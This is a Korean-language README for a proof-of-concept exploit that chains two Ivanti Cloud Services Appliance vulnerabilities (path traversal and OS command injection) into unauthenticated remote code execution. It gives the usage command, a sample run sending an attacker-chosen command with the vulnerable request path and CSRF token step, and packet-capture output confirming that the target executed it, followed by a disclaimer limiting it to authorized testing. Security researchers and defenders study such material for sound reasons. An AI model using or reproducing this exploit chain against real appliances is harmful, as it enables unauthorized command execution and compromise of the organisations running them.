
CVE-2024-8963 및 CVE-2024-8190 결합 - Ivanti CSA 4.6 이하에서 인증되지 않은 RCE를 위한
CVE-2024-8963과 CVE-2024-8190을 결합 - Ivanti CSA 4.6 이하에서 인증되지 않은 RCE를 위한 PoC
CVE-2024-8963
Ivanti CSA 4.6 Patch 519 이전 버전의 경로 순회 취약점으로, 원격의 인증되지 않은 공격자가 제한된 기능에 접근할 수 있습니다.
CVE-2024-8190
Ivanti Cloud Services Appliance 4.6 Patch 518 및 이전 버전의 OS 명령 주입 취약점으로, 원격의 인증된 공격자가 원격 코드 실행을 달성할 수 있습니다. 이 취약점을 악용하려면 공격자에게 관리자 수준 권한이 필요합니다.
이 PoC는 두 취약점을 결합하여 CVE-2024-8190이 인증 없이 사용될 수 있는 방법을 시연합니다.
python3 ./cve-2024-8190.py <target_url> '<CMD>'
$ python3 ./cve-2024-8190.py https://<target> 'ping -c 4 <attacker>'
[!] WARNING: This script is for authorized testing and educational purposes only. Unauthorized use is illegal.
[*] Fetching https://<target>/client/index.php%3F.php/gsb/datetime.php...
[+] Got LDCSA_CSRF value: sid:483045<REMOVED>
[*] Sending payload...
[!] Request timed out. Check if the command executed on the target.
$ sudo tcpdump -n "icmp" -l
11:43:15.135004 IP <target> > <attacker> ICMP echo request, id 30001, seq 1, length 64
11:43:16.135647 IP <target> > <attacker>: ICMP echo request, id 30001, seq 2, length 64
11:43:17.137707 IP <target> > <attacker>: ICMP echo request, id 30001, seq 3, length 64
11:43:18.137085 IP <target> > <attacker>: ICMP echo request, id 30001, seq 4, length 64
이 PoC는 Horizon3.ai의 CVE-2024-8190 PoC를 기반으로 크게 참고했습니다:
https://github.com/horizon3ai/CVE-2024-8190
CVE-2024-8963.yaml에 대한 ProjectDiscovery의 nuclei 템플릿:
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-8963.yaml
P.S. ProjectDiscovery는 정말 대단합니다!
나쁜 의도로 사용하지 마세요.
이 소프트웨어는 순수하게 학술 연구 및 효과적인 방어 기술 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템 공격에 사용하기 위한 것이 아닙니다. 프로젝트 유지 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.